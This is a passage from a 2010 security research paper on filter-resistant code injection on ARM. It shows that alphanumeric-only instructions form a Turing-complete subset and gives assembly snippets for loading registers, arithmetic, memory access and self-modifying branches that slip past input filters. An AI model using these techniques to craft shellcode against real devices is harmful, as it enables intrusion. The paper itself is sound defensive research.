J Comput Virol
DOI 10.1007/s11416-010-0146-0

ORIGINAL PAPER

Filter-resistant code injection on ARM

Yves Younan · Pieter Philippaerts · Frank Piessens · Wouter Joosen · Sven Lachmund · Thomas Walter

Received: 26 May 2010 / Accepted: 22 August 2010

Abstract Code injection attacks are one of the most powerful and important classes of attacks on software. In these attacks, the attacker sends malicious input to a software application, where it is stored in memory. The malicious input is chosen in such a way that its representation in memory is also a valid representation of a machine code program that performs actions chosen by the attacker. The attacker then triggers a bug in the application to divert the control flow to this injected machine code. A typical action of the injected code is to launch a command interpreter shell, and hence the malicious input is often called *shellcode*. Attacks are usually performed against network facing applications, and such applications often perform validations or encodings on input. Hence, a typical hurdle for attackers, is that the shellcode has to pass one or more filtering methods before it is stored in the vulnerable application's memory space. Clearly, for a code injection attack to succeed, the malicious input must survive such validations and transformations. Alphanumeric input (consisting only of letters and digits) is typically very robust for this purpose: it passes most filters and is untouched by most transformations. This paper studies the power of alphanumeric shellcode on the ARM architecture. It shows that the subset of ARM machine code programs that (when interpreted as data) consist only of alphanumerical characters is a Turing complete subset. This is a non-trivial result, as the number of instructions that consist only of alphanumeric characters is very limited. To craft useful exploit code (and to achieve Turing completeness), several tricks are needed, including the use of self-modifying code.

Y. Younan (✉) · P. Philippaerts · F. Piessens · W. Joosen
DistriNet Research Group, Katholieke Universiteit Leuven, Leuven, Belgium
e-mail: yves.younan@cs.kuleuven.be

P. Philippaerts
e-mail: Pieter.Philippaerts@cs.kuleuven.be

F. Piessens
e-mail: Frank.Piessens@cs.kuleuven.be

W. Joosen
e-mail: Wouter.Joosen@cs.kuleuven.be

S. Lachmund · T. Walter
DOCOMO Euro-Labs, Munich, Germany
e-mail: lachmund@docomolab-euro.com

T. Walter
e-mail: walter@docomolab-euro.com

1 Introduction

With the rapid spread of mobile devices, the ARM processor has become the most widespread 32-bit CPU core in the world. ARM processors offer a great trade-off between power consumption and processing power, which makes them an excellent candidate for mobile and embedded devices. About 98% of mobile phones and personal digital assistants feature at least one ARM processor. The ARM architecture is also making inroads into more high-end devices, such as tablet PCs, netbooks, and in the near future perhaps even servers [44].

Only recently, however, have these devices become powerful enough to let users connect over the internet to various services, and to share information as we are used to on desktop PCs. Unfortunately, this introduces a number of security risks: mobile devices are more and more subject to external attacks that aim to control the behavior of the device.

A very important class of such attacks is code injection attacks. These attacks conceptually consist of two steps. First, the attacker sends data to the device. This data is stored somewhere in memory by the software application receiving it.

Published online: 13 October 2010

The data is chosen such that, when stored in memory, it also represents a valid machine code program: if the processor were to jump to the start address of the data, it would execute it. Such data is often called *shellcode*, since a typical goal of an attacker is launching a command interpreter shell.

In a second step, the attacker triggers a vulnerability in the device software to divert the control flow to his shellcode. There is a wide variety of techniques to achieve this, ranging from the classic stack-based buffer overflow where the return address of a function call is overwritten, to virtual function pointer overwrites, indirect pointer overwrites, and so forth. An example of such an attack on a mobile phone is Moore's attack [25] against the Apple iPhone. This attack exploits LibTIFF vulnerabilities [27,28], and it could be triggered from both the phone's mail client and its web browser, making it remotely exploitable. A similar vulnerability was found in the way GIF files were handled by the Android web browser [29].

A typical hurdle for exploit writers, is that the shellcode has to pass one or more filtering methods before being stored into memory. The shellcode enters the system as data, and various validations and transformations can be applied to this data. An example is an input validation filter that matches the input with a given regular expression, and blocks any input that does not match. A popular regular expression for example is [a-zA-Z0-9] (possibly extended by "space"). Another example is an encoding filter that encodes input to make sure that it is valid HTML.

Clearly, for a code injection attack to succeed, the data must survive all these validations and transformations. The key contribution of this paper is that it shows that it is possible to write powerful shellcode that passes such filters. More specifically, we show that the subset of ARM machine code programs that (when interpreted as data) consist only of alphanumerical characters (i.e. letters and digits) is a Turing complete subset. This is a non-trivial result, as the ARM is a RISC architecture with fixed width instructions of 32 bits, and hence the number of instructions that consist only of alphanumeric characters is very limited.

This article is an extended version of previously published conference paper [49]. The rest of this article is structured as follows. In Sect. 2 we provide sufficient background information on code injection attacks and on the ARM architecture to understand the rest of the paper. In Sect. 3 we identify the instructions that can be used when one restricts memory to only contain alphanumeric characters. Section 3.2 shows by means of a number of examples that this severely limited instruction set can still do useful things, and Sect. 4 shows that it is actually a Turing complete subset of the ARM instruction set. Finally, we discuss related work and conclude in Sects. 5 and 6.

When we discuss the bits in a byte we will use the following representation: the most significant bit is bit 7 and the least significant bit is bit 0 in our discussion. The first byte of an instruction is bit 31 to 24 and the last byte is bit 7 to 0.

2 Background

This section provides a short introduction to code injection attacks and the ARM architecture. It is out of the scope of this paper to give a detailed introduction to these topics, but the relevant subtopics are discussed here in order to give the reader enough background information to understand the rest of the paper.

2.1 Code injection attacks

Several vulnerabilities can exist in software written in unsafe languages such as C that can allow attackers to perform a code injection attack. During such an attack, control flow is redirected to memory where the attacker has placed data that the processor will interpret as code. The most commonly exploited type of vulnerability that allows code injection is the stack-based buffer overflow [2]. However, buffer overflows in other memory regions like the heap [4] or the data segment [6] are also possible. Attackers have also been able to exploit format string vulnerabilities [35], dangling pointer references [15] and integer errors [10] to achieve similar results.

Many different countermeasures [47,17] focus on defending applications against these types of attacks. Some aim to prevent the vulnerability from becoming exploitable by verifying that an exploitation attempt has occurred: via bounds checking [21,34,48]; by inserting secret cookies, which must remain unmodified, before important memory locations [14,18]. Others will make it harder for an attacker to execute injected code by randomizing the base address of memory regions [7,9], encrypting pointers [13], code [5,22] or even all objects [8] while in memory and decrypting them before use. While yet other types of countermeasures will try and ensure that the program adheres to some predetermined policy [1,23,30].

Attackers have found ways of bypassing many of these countermeasures. These bypasses range from overwriting control flow information not protected by the countermeasure [12,32], to guessing or leaking the secret associated with countermeasures [37,43,45], to executing existing code rather than injecting code [40,46,36,11], to performing intricate attacks that make use of properties of higher level languages (like JavaScript in the webbrowser) to create an environment suitable to exploit a low-level vulnerability [42]. One example of such an attack is a heap-spraying attack, that fills the heap with shellcode via JavaScript, thereby severely increasing the likelihood of successfully executing injected code even if address space layout randomization is used [31].

Ensuring that all memory is set to be non-executable would prevent the attacker from executing injected code and would thus prevent the code discussed in this paper from being executed. However, several attacks exist that can bypass non-executable memory [3,38], allowing attackers to mark the memory where they injected their code as executable. Moreover, setting all memory non-executable causes incompatibilities with some programs. Some implementations of non-executable memory also limit this to only set the stack non-executable, but leave the heap or other memory regions executable, providing the attacker with a place to store and execute injected code. By default, Linux does not set any memory to be non-executable for compatibility reasons. As a result, code injection attacks are still realistic threats [41].

2.2 The ARM architecture

The ARM architecture [39] is the dominating processor architecture for cell phones and other embedded devices. It is a 32-bit RISC architecture developed by ARM Ltd. and licensed to a number of processor manufacturers. Due to its low power consumption and architectural simplicity, it is particularly suitable for resource constrained and embedded devices.

The ARM processor features sixteen general purpose registers, numbered `r0` to `r15`. Apart from the program counter register, `r15` or its alias `pc`, all registers can be used for any purpose. There are, however, conventional roles assigned to some particular registers. Table 1 gives an overview of the registers, their purpose, and their optional alias. In addition to these general purpose registers, ARM processors also contain *the Current Program Status Register (CPSR)*. This register stores different types of flags and condition values. This register cannot be addressed directly.

This section will explain some of the features of the ARM architecture, and the key differences between this and other architectures such as the Intel x86 architecture.

Table 1 The different general purpose ARM registers, and their intended purpose

Register	Purpose
`r0` to `r3`	Temporary registers
`r4` to `r10`	Permanent registers
`r11` (alias `fp`)	Frame pointer
`r12` (alias `ip`)	Intra-procedure call scratch register
`r13` (alias `sp`)	Stack pointer
`r14` (alias `lr`)	Link register
`r15` (alias `pc`)	Program counter

2.2.1 Function calls

Due to the large number of registers, the ARM application binary interface stipulates that the first four parameters of a function should be passed via registers `r0` to `r3`. If there are more than four parameters, the subsequent parameters will be pushed on the stack. Likewise, the return address of a function is not always pushed on the stack. The `BL` instruction, which calculates the return address and jumps to a specified subroutine, will store the return address in register *lr*. It is then up to the implementation of that subroutine to store the return address on the stack or not.

2.2.2 Addressing modes

ARM instructions share common ways to calculate memory addresses or values to be used as operands for instructions. These calculations of memory addresses are called *addressing modes*. A number of different addressing modes exist, some of which will be explained in this section.

The ARM architecture is a 32-bit architecture, hence it is imperative that the operands of instructions must be able to span the entire 32-bit addressing range. However, since ARM instructions are 32 bits and a number of these bits are used to encode the instruction OP code, operands and parameters, operands that represent immediate values will never be able to store a full 32-bit value. To overcome this problem, some addressing modes support different types of shifts and rotations. These operations make it possible to quickly generate large numbers (via bit shifting), without having to specify them as immediate values.

The following subsections will describe a number of addressing modes that are used on ARM. These addressing modes are selected because they will be used extensively in the rest of the paper.

Addressing modes for data processing The first type of addressing mode is the mode that is used for the data processing instructions. This includes the instructions that perform arithmetic operations, the instructions that copy values into registers, and the instructions that copy values between registers.

In the general case, a data processing instruction looks like this:

```
<instruction> <Rd>, <Rn>, <shifter_operand>
```

In this example, *Rd* is a placeholder for the destination register, and *Rn* represents the base register.

The addressing mode is denoted in the above listing as the *shifter_ operand*. It is twelve bits large and can be one of eleven subcategories. These subcategories perform all kinds of different operations on the operand, such as logical and

arithmetic bit shifts, bit rotations, or no additional computation at all. Some examples are given below:

```
MOV   r1 , #1
ADD   r5 , r6 , r1 , LSL #2
SUB   r3 , r5 , #1
MOV   r0 , r3 , ROR r1
```

The first `MOV` instruction simply copies the value one into register `r1`. The form of the `MOV` instruction is atypical for data processing instructions, because it doesn't use the base register *Rn*.

The `ADD` instruction uses an addressing mode that shifts the value in `r1` left by two places. This result is added to the value stored in base register `r6`, and the result is written to register `r5`.

The `SUB` instruction uses the same addressing mode as the first `MOV` instruction, but also uses the base register *Rn*. In this case, the value one is subtracted from the value in base register `r5`, and the result is stored in `r3`.

Finally, a second `MOV` operation rotates the value in `r3` right by a number of places as determined by the value in `r1`. The result is stored in `r0`.

Addressing modes for load/store The second type of addressing mode is used for instructions that load data from memory and store data to memory. The general syntax of these instructions is:

```
<LDR instr> <Rd>, addr_mode
<STR instr> <Rd>, addr_mode
```

The *addr_mode* operand is the memory address where the data resides, and can be calculated with one of nine addressing mode variants. Addresses can come from immediate values and registers (potentially scaled by shifting the contents), and can be post- or pre-incremented.

Addressing modes for load/store multiple The third type of addressing mode is used with the instructions that perform multiple loads and stores at once. The `LDM` and `STM` instructions take a list of registers, and will either load data into the registers in this list, or store data from these registers in memory. The general syntax for multiple loads and stores looks like this:

```
<LDM instr><addr_mode> <Rn>{!}, <registers>
<STM instr><addr_mode> <Rn>{!}, <registers>
```

The *addr_mode* operand can be one of the following four possibilities: *increment after (IA)*, *increment before (IB)*, *decrement after (DA)*, or *decrement before (DB)*. In all cases, *Rn* is used as the base register to start computing memory addresses where the selected registers will be stored. The different addressing modes specify different schemes of computing these addresses.

When the optional exclamation mark after the base register is present, the processor will update the value in *Rn* to contain the newly computed memory address.

2.2.3 Conditional execution

Almost every instruction on an ARM processor can be executed conditionally. The four most-significant bits of these instructions encode a condition code that specifies which condition should be met before executing the instruction. Prior to actually executing an instruction, the processor will first check the `CPSR` register to ensure that its contents corresponds to the status encoded in the condition bits of the instruction. If the condition code does not match, the instruction is discarded.

The `CPSR` state can be updated by calling the `CMP` instruction, much like on the Intel x86 architecture. This instruction compares a value from a register to a value calculated in a *shifter_operand* and updates the `CPSR` bits accordingly. In addition to this, every other instruction that uses the addressing mode for dataprocessing can also optionally update the `CPSR` register. In this case, the result of the instruction is compared to the value 0.

When writing ARM assembly, the conditional execution of an instruction is represented by adding a suffix to the name of the instruction that denotes in which circumstances it will be executed. Without this suffix, the instruction will always be executed. If the instruction supports updating the `CPSR` register, the additional suffix *'S'* indicates that the instruction should update the `CPSR` register.

The main advantage of conditional execution is the support for more compact program code. As a short example, consider the following C fragment:

```
if (err != 0)
    printf("Errorcode = %i\n", err);
else
    printf("OK!\n");
```

By default, GCC compiles the above code to:

```
  CMP   r1, #0
  BEQ   .L4
  LDR   r0, <string_1_address>
  BL    printf
  B     .L8
.L4:
  LDR   r0, <string_2_address>
  BL    printf
.L8:
```

The value in `r1` contains the value of the *err* variable, and is compared to the value 0. If the contents of `r1` is zero, the code branches to the label *.L4*, where the string *'OK!'* is printed out. If the value in `r1` isn't zero, the `BEQ` instruction is not executed, and the code continues to print out the *ErrorCode* string. Finally, it branches to label *.L8*.

With conditional execution, the above code could be rewritten as:

```
CMP    r1 , #0
LDRNE  r0 , <string_1_address>
LDREQ  r0 , <string_2_address>
BL     printf
```

The *'NE'* suffix means that the instruction will only be executed if the contents of, in this case, `r1` is not equal to zero. Similarly, the *'EQ'* suffix means that the instructions will be executed if the contents of `r1` is equal to zero.

2.2.4 Thumb instructions

In order to further increase code density, most ARM processors support a second instruction set called the Thumb instruction set. These Thumb instructions are 16 bits in size, compared to the 32 bits of ordinary ARM instructions. Prior to ARMv6, only the T variants of the ARM processor supported this mode (e.g. ARM4T). However, as of ARMv6, Thumb support is mandatory.

Instructions executed in 32 bit mode are called ARM instructions, whereas instructions executed in 16 bit mode are called Thumb instructions. Unlike ARM instructions, Thumb instructions do not support conditional execution.

Since instructions are only two bytes large in Thumb mode, it is easier to satisfy the alphanumeric constraints for instructions because we only need to get two bytes alphanumeric instead of four. To this end, we will discuss how to get into Thumb mode from ARM mode using only alphanumeric instructions. For programs already running in Thumb mode, a way of going back to ARM mode is also discussed. In order to achieve the broadest possible compatibility with earlier versions of ARM that do not support Thumb mode, Thumb instructions will not be used as part of our shellcode.

3 Alphanumeric shellcode

In most cases, alphanumeric bytes are likely to get through conversions and filters unmodified. Therefore, having shellcode with only alphanumeric instructions is sometimes necessary and often preferred.

An alphanumeric instruction is an instruction where each of the four bytes of the instruction is either an upper case or lower case letter, or a digit. In particular, the bit patterns of these bytes must always conform to the following constraints:

- The most significant bit, bit 7, must be set to 0
- Bit 6 or 5 must be set to 1
- If bit 5 is set to 1, but bit 6 is set to 0, then bit 4 must also be set to 1

These constraints do not eliminate all non-alphanumeric characters, but they can be used as a rule of thumb to quickly dismiss most of the invalid bytes. Each instruction will have to be checked whether its bit pattern follows these conditions and under which circumstances.

It is worth emphasizing that these constraints are tough: only 0.34% of the 32 bit words consist of 4 alphanumerical bytes.

This section will discuss some of the difficulties of writing alphanumeric code. When we discuss the bits in a byte, we will maintain the definition as introduced above: the most significant bit in a byte is bit 7 and the least significant bit is bit 0. The first byte of an ARM instruction is bits 31 to 24 and the last byte is bits 7 to 0.

3.1 Alphanumeric instructions

The ARM processor (in its v6 incarnation) has 147 instructions. Most of these instructions cannot be used in alphanumeric code, because at least one of the four bytes of the instruction is not alphanumeric. In addition, we have also filtered out instructions that require a specific version of the ARM processor, in order to keep our work as broadly applicable as possible.

3.1.1 Registers

In alphanumeric code, not all instructions that take registers as operands can use any register for any operand. In particular, none of the data-processing instructions can take registers `r0` to `r2` and `r8` to `r15` as the destination register `Rd`. The reason is that the destination register is encoded in the four most significant bits of the third byte of an instruction. If these bits are set to the value 0, 1 or 2, this would generate a byte that is too small to be alphanumerical. If the bits are set to a value greater than 7, the resulting byte will be too high.

If these registers cannot be set as the destination registers, this essentially means that any calculated value cannot be copied into one of these registers using the data-processing instructions. However, being able to set the contents of some of these registers is very important. As explained in Sect. 2.2, ARM uses registers `r0` to `r3` to transfer parameters to functions and system calls.

In addition, registers r4 and r6 can in some cases also generate non-alphanumeric characters. The only registers that can be used without restrictions are limited to r3, r5 and r7. This means that we only have three registers that we can use freely throughout the program.

3.1.2 Conditional execution

Because the condition code of an instruction is encoded in the most significant bits of the first byte of the instruction (bits 31–28), the value of the condition code has a direct impact on the alphanumeric properties of the instruction. As a result, only a limited set of condition codes can be used in alphanumeric shellcode. Table 2 shows the possible condition codes and their corresponding bit patterns.

Unfortunately, the condition code AL, which specifies that an instruction should always be executed, cannot be used. This means that all alphanumeric ARM instructions must be executed conditionally. From the 15 possible condition codes, only five can be used: CC (Carry clear), MI (Negative), PL (Positive), VS (Overflow) and VC (No overflow). This means that we can only execute instructions if the correct condition codes are set and that the conditions that can be used when attempting conditional control flow are limited.

3.1.3 The instruction list

In our list of instructions, we make a distinction between SZ/SO (should be zero/should be one) and IZ/IO (is zero/is one). We do this because the ARM reference manual specifies that specific bits must be set to 0 or 1 and others "should be" set to 0 or 1 (defined as SBZ or SBO in the manual). However, on our test processor if we set a bit marked as "should be" to something else, the processor throws an undefined instruction exception. As such, we've considered should be and must be to be equivalent for our discussion, but we note the difference should this behavior be different in other processors (since this would enable the use of many more instructions).

Table 2 The different condition codes of an ARM processor

Bit pattern	Name	Description
0000	EQ	Equal
0001	NE	Not equal
0010	CS/HS	Carry set/unsigned higher or same
0011	CC/LO	Carry clear/unsigned lower
0100	MI	Minus/negative
0101	PL	Plus/positive or zero
0110	VS	Overflow
0111	VC	No overflow
1000	HI	Unsigned higher
1001	LS	Unsigned lower or same
1010	GE	Signed greater than or equal
1011	LT	Signed less than
1100	GT	Signed greater than
1101	LE	Signed less than or equal
1110	AL	Always (unconditional)
1111	(used for other purposes)	

The ARMv6 architecture consists of 147 instructions. From this list of instructions, we will now remove all instructions that require a specific ARM architecture version and all the instructions that we have disqualified based on whether or not they have bit patterns which are incompatible with alphanumeric characters.

This leaves us with 18 instructions: B/BL, CDP, EOR, LDC, LDM(1), LDM(2), LDR, LDRB, LDRBT, LDRT, MCR, MRC, RSB, STM(2), STRB, STRBT, SUB, SWI.

Even though they can be used alphanumerically, some of the instructions have no or only limited use in the context of shellcode:

- **B/BL** the branch instruction uses the last 24 bits as an offset to the program counter to calculate the destination of the jump. After making these bits alphanumeric, the instruction would have to jump at least 12MB from the current location, far beyond the scope of our shellcode. This is because the branch instruction will first shift the 24 bit offset left twice because all instructions start on a 4 byte boundary. This means that the smallest possible value we can provide as offset (0x303030) will in fact be an offset of 12632256.
- **CDP** is used to tell the coprocessor to do some kind of data processing. Since we cannot know which coprocessors may be available or not on a specific platform, we discard this instruction as well.
- **LDC** the load coprocessor instruction loads data from a consecutive range of memory addresses into a coprocessor.
- **MCR/MRC** move coprocessor registers to and from ARM registers. While this instruction could be useful for caching purposes (more on this later), it is a privileged instruction before ARMv6.

The remaining 13 instructions can be categorized in groups that contain instructions with the same basic functionality but that only differ in the details. For instance, LDR loads a word from memory into a register whereas LDRB loads a byte into the least significant bytes of a register. Even though these are two different instructions, they perform essentially the same operation.

We can distinguish the following seven categories:

- **EOR** Exclusive OR
- **LDM (LDM(1), LDM(2))** Load multiple registers from a consecutive memory locations

- **LDR (LDR, LDRB, LDRBT, LDRT)** Load a value from memory into a register
- **STM** Store multiple registers to consecutive memory locations
- **STRB (STRB, STRBT)** Store a register to memory
- **SUB (SUB, RSB)** Subtract
- **SWI** Software Interrupt a.k.a. do a system call

Unfortunately, the instructions in the list above are not always alphanumeric. Depending on which operands are used, these functions may still generate characters that are non-alphanumeric. Hence, additional constraints apply to each instruction.

3.1.4 Self-modifying code

ARM processors have an instruction cache, which makes writing self-modifying code a hard thing to do since all the instructions that are being executed will most likely already have been cached. The Intel architecture has a specific requirement to be compatible with self-modifying code, and as such will make sure that when code is modified in memory the cache that possibly contains those instructions is invalidated. ARM has no such requirement, meaning that the instructions that have been modified in memory could be different from the instructions that are actually executed. Given the size of the instruction cache and the proximity of the modified instructions, it is very hard to write self-modifying shellcode without having to flush the instruction cache. We discuss how to do this in Sect. 3.2.7.

3.2 Writing shellcode

In the previous sections, we've sketched some of the features of the ARM processor, and some of the problems that arise when writing alphanumeric code. However, there still are some problems that are specifically associated with writing shellcode. When the shellcode starts up, we know nothing about the program state, we do not know the value of any registers (including `CPSR`), the state of memory or anything else. This presents us with a number of important challenges to solve. This section will introduce a number of solutions for these problems. In addition, this section will show how to use the limited instructions that are available to simulate the operations of a much richer instruction set.

3.2.1 Conditional execution

In our implementation, we've chosen the condition codes `PL` and `MI`. Instructions marked with `PL` will only be executed if the condition status is positive or zero. In contrast, `MI` instructions will only be executed if the condition status is negative.

When our shellcode starts up, we can not be sure what state the `CPSR` register is in. However, because `PL` and `MI` are mutually exclusive and together cover all possible status codes, we can always ensure that an instruction gets executed by simply adding the same instruction twice to the shellcode, once with the `PL` suffix and once with the `MI` suffix.

Once we gain more knowledge about the program state, we can execute an instruction that we know the result of, and mark it as an instruction that must update the `CPSR` register. This can be done, for example, by setting the S bit in a calculation with `SUB` or `EOR`. Setting the S bit on either instruction will still allow them to be represented alphanumerically.

3.2.2 Registers

When the processor starts executing the alphanumeric shellcode, the contents of all the registers is unknown. However, in order to do any useful calculations, the value of at least some registers must be known. In addition, a solution must be found to set the contents of registers `r0` to `r2`. Without these registers, the shellcode will not be able to do system calls or execute library functions.

Getting a constant in a register None of the traditional instructions are available to place a known value in a register, making this a non-trivial problem. The `MOV` instruction cannot be used, because it is never alphanumeric. The only data processing instructions that are available are `EOR` and `SUB`, but these instructions can only be used in conjunction with addressing modes that use immediate values or involve shifting and rotating. Because the result of a subtraction or exclusive OR between an unknown value and a known value is still unknown, these instructions are not useful. Given that these are the only arithmetic instructions that are supported in alphanumeric code, it is impossible to arithmetically get a known value into a register.

Fortunately, there is some knowledge about the running code that can be exploited in order to get a constant value into a register. Even though the exact value of the program counter, register `r15`, is unknown, it will always point to the executing shellcode. Hence, by using the program counter as an operand for the `LDRB` instruction, one of the bytes of the shellcode can be loaded into a register. This is done as follows:

```
SUBPL    r3, pc, #56
LDRPLB   r3, [r3, #-48]
```

`pc` cannot be used directly in an `LDR` instruction as this would result in non-alphanumeric code. So its contents is copied to register `r3` by subtracting 56 from `pc`. The value 56 is chosen to make the instruction alphanumeric. Then,

register r3 is used in the LDRB instruction to load a known byte from the shellcode into r3. The immediate offset −48 is used to ensure that the LDRB instruction is alphanumeric. Once this is done, r3 can be used to load other values into other registers by subtracting an immediate value.

Loading values in arbitrary registers As explained in Sect. 3.1.1, it is not possible to use registers r0 to r2 as the destination registers of arithmetic operations. There is, however, one operation that can be used to write to the three lowest registers, without generating non-alphanumeric instructions. The LDM instruction loads values from the stack into multiple registers. It encodes the list of registers it needs to write to in the last two bytes of the instruction. If bit *n* is set, register Rn is included in the list and data is written to it. In order to get the bytes of the instruction to become alphanumeric, other registers have to be added to the list.

That is, the following code

```
MOV r0, r3
MOV r1, r4
MOV r2, r6
```

has to be transformed as follows to be alphanumeric:

```
STMPLDB r5, {r3, r4, r6, r8, r9, lr}^
RSBPL r3, r8, #72
SUBPL r5, r5, r3, ROR #2
LDMPLDA r5!, {r0, r1, r2, r6, r9, lr}
```

In the example above, the registers r3, r4 and r6 are stored on the stack using the STM instruction and then read from the stack into registers r0, r1, r2 using the LDM instruction. In order to make the STM instruction alphanumeric, the dummy registers r8, r9 and lr are added to the list, which will write them to the stack. Similarly the LDM instruction adds r6, r9 and lr. This will replace the value of r6 with the value of r8. The caret symbol is also necessary to make the instruction alphanumerical. This symbol sets a bit that is only used if the processor is executing in privileged mode. In unprivileged mode, the bit is ignored.

The *decrement before* addressing mode that is used for the STM instruction results in an invalid bit pattern when used in conjunction with LDM. Hence, we use a different addressing mode for the STM instruction. This requires, however, that we modify the starting address slightly for it to work as expected, which we do by subtracting 4 from the base register r5 using the RSB and SUB instructions above. Register r8 is assumed to contain the value 56 (for instance, by loading this value into the register as described in the previous paragraph). The RSB instruction will subtract the contents of r8 from the value 72, and store the result, 16, into r3. In the next instruction, r3 is rotated right by two positions, producing the value 4.

3.2.3 Arithmetic operations

The ADD instruction is not alphanumeric, so it must be simulated using other instructions. After generating a negative number by subtracting from our known value, an addition can be performed by subtracting that negative value from another register. However, one caveat is that when the SUB instruction is used with two registers as operands, an additional rotate right (ROR) on the second operand must be done in order to make the bytes alphanumeric. This effect can be countered by either rotating the second operand with an immediate value that will result in a (different) known value, or by rotating the second operand with a register that contains the value 0.

```
SUBPL r7, r3, #57
SUBPL r3, r3, #56
SUBPL r5, r5, r7 ROR r3
```

If we assume that register r3 contains the value 56, using the trick explained in Sect. 3.2.2, the code above starts by setting register r7 to −1 and sets register r3 to 0. One is added to the value in register r5 by subtracting the value −1 from it and rotating this value by 0 bits.

Subtract works in a similar fashion except a positive value is used as argument.

```
SUBPL r7, r3, #55
SUBPL r3, r3, #56
SUBPL r5, r5, r7 ROR r3
```

The above examples show the +1 and −1 operations respectively. While these would be enough to calculate arbitrary values given enough applications, it is possible to use larger values by setting r7 to a larger positive or negative value. However, for even larger values it is also possible to set r3 to a nonzero value. For example, if r3 is set to 20, then the last instruction will not subtract one, but will instead subtract 4096.

As can be seen from the example above, we can also subtract and add registers to and from each other (for addition, we of course need to subtract the register from 0 first).

Multiplication and division follow from repeated application of addition and subtraction.

3.2.4 Bitwise operations

This section discusses the different bitwise operations.

Rotating and shifting Instructions on ARM that use the arithmetic addressing mode, explained in Sect. 2.2.2, can perform all kinds of shifts and rotations on the last operand prior to using it in a calculation. However, not all variants can be used in alphanumeric instructions. In particular, none of

the left shift and left rotate variants can be used. Of course, left shifting can be emulated by multiplying by a power of 2, and left rotates can be emulated with right rotates.

Exclusive OR The representation of the Exclusive OR (`EOR`) instruction is alphanumeric and is thus one of the instructions that can be used in our shellcode. However the same restrictions apply as for subtract.

Complement By applying an Exclusive OR with the value -1 we can achieve a `NOT` operation.

Conjunction and disjunction Conjunction can be emulated as follows: for every bit of the two registers being conjoined, first shift both registers left by 31 minus the location of the current bit, then shift the results to the right so the current bit becomes the least significant bit. We can now multiply the registers. We have now performed an `AND` over those bits. Shifting the result left by the amount of bits we shifted right will place the bit in the correct location. We can now add this result to the register that will contain the final result (this register is initialized to 0 before performing the `AND` operation). This is a rather complex operation, which turns out not to be necessary for proving Turing completeness or for implementing shell-spawning shellcode, but it can be useful if an attacker must perform an `AND` operation.

Given this implementation of `AND` and the previously discussed `NOT` operation, `OR` follows from the application of De Morgan's law.

3.2.5 Memory access

Arbitrary values can be read from memory by using the `LDR` or `LDRB` instruction with a register which points 48 bytes further than the memory we wish to access:

```
LDRPL    r5, [r3, #-48]!
LDRPLB   r3, [r3, #-48]
```

The first instruction will load the four bytes stored at memory location `r3` minus 48 into `r5`. The offset calculation is written back into `r3` in order to make the instruction alphanumeric. The second instruction will load the byte pointed to by `r3` minus 48 into `r3`.

Storing bytes to memory can be done with the `STRB` instruction:

```
STRPLB   r5, [r3, #-48]
```

In the above example, `STRB` will store the least significant byte of `r5` at the memory location pointed to by `r3` minus 48.

The `STR` instruction cannot be used alphanumerically. An alternative to using `STR` is to use the `STM` instruction, which stores multiple registers to memory. This instruction stores the full contents of the registers to memory, but it cannot be used to store a single register to memory, as this would result in non-alphanumeric code.

Another possibility to store the entire register to memory is to use multiple STRB instructions and use the shift right capability that was discussed earlier to get each byte into the correct location

```
MOV      r5, #0
MOV      r3, #16
SUBPL    r3, r5, r7, ROR r3
SUBPL    r3, r5, r3, ROR r5
STRPLB   r3, [r13, #-50]
MOV      r3, #24
SUBPL    r3, r5, r7, ROR r3
SUBPL    r3, r5, r3, ROR r5
STRPLB   r3, [r13, #-49]
```

The code above shows how to store the 2 most significant bytes of `r7` to `r13` minus 49 and `r13` minus 50, respectively. The code is slightly simplified for better readability in that we use `MOV`, which is not alphanumeric, to load the values to `r3` and `r5`.

3.2.6 Control flow

This section discusses unconditional and conditional branches.

Unconditional branches As discussed in Sect. 3.1.3, the branch instruction requires a 24 bit offset from `pc` as argument, which is shifted two bits to the left and sign extended to a 32 bit value. The smallest alphanumeric offset that can be provided to branch corresponds to an offset of 12 MB. In the context of shellcode, this offset is clearly not very useful. Instead, we will use self-modifying code to rewrite the argument to the branch before reaching this branching instruction. This is done by calculating each byte of the argument separately and using `STRB` with an offset to `pc` to overwrite the correct instruction.

```
SUBPL  r3, pc, #48
SUBPL  r5, r8, #56
SUBPL  r7, r8, #108
SUBPL  r3, r3, r7, ROR r5
SUBPL  r3, r3, r7, ROR r5
SUBPL  r3, r3, r7, ROR r5

SUBPL  r7, r8, #54
STRPLB r7, [r3, #-48]

.byte  0x30,0x30,0x30,0x90
```

The above example shows how the argument of a branch instruction can be overwritten. The branch instruction itself *is* alphanumeric, and is represented by byte `0x90` in machine code. In the example, the branch offset consists of three placeholder bytes with the value `0x30`. These will be overwritten by the preceding instructions.

The code copies `pc` minus 48 to `r3` and sets `r5` to 0 (we assume `r8` contains 56). It then sets `r7` to -52, subtracts this 3 times from `r3`. This will result in `r3` containing the value `pc` plus 108. When we subsequently write the value `r7` to `r3` minus 48 we will in effect be writing to `pc` plus 60. Using this technique we can rewrite the arguments to the branch instruction.

This must be done for every branch in the program before the branch is reached. However as discussed in Sect. 3.1.4 we can't simply write self-modifying code for ARM due to the instruction cache: this cache will prevent the processor from seeing our modifications. In Sect. 3.2.7 we discuss how we were still able to flush the cache to allow our self-modifications to be seen by the processor once all branches have been rewritten.

Conditional branches In order to restrict the different types of instructions that should be rewritten, compare instructions and the corresponding conditional branch are replaced with a sequence of two branches that use only the `PL` and `MI` condition codes. Some additional instructions must be added to simulate the conditional behavior that is expected.

As an example, imagine we want to execute the following instructions that will branch to the `endinter` label if `r5` is equal to 0:

```
CMP     r5 , #0
BEQ     endinter
```

These two instructions can be rewritten as (`r8` contains 56):

```
SUBPL   r3 , r8 , #52
SUBPLS  r3 , r5 , r3 , ROR #2
BPL     notnull
SUBMI   r5 , r8 , #57
SUBMIS  r7 , r8 , #56
SUBPLS  r5 , r3 , r5 , ROR #2
BPL     endinter
SUBMIS  r7 , r8 , #56
notnull:
```

By observing whether the processor changes condition state after subtracting and adding one to the original value, we can deduce whether the original value was equal to zero or not. If we subtract one, and the state of the processor remains positive, the value must be greater than zero. If the processor changes state, the value was either zero or a negative number. By adding one again, and verifying that the processor state changes to positive again, we can ensure that the original value was indeed zero.

As with the unconditional branch, the actual branching instruction is not available in alphanumeric code, so again we must overwrite the actual branch instruction in the code above.

3.2.7 System calls

As described in Sect. 3.1.4, the instruction cache of the ARM processor will hamper self-modifying code. One way of ensuring that this cache can be bypassed, is by turning it off programmatically. This can be done by using the alphanumeric `MRC` instruction, and specifying the correct operand that turns the cache off. However, as this instruction is privileged before ARMv6, we will not use this approach in our shellcode.

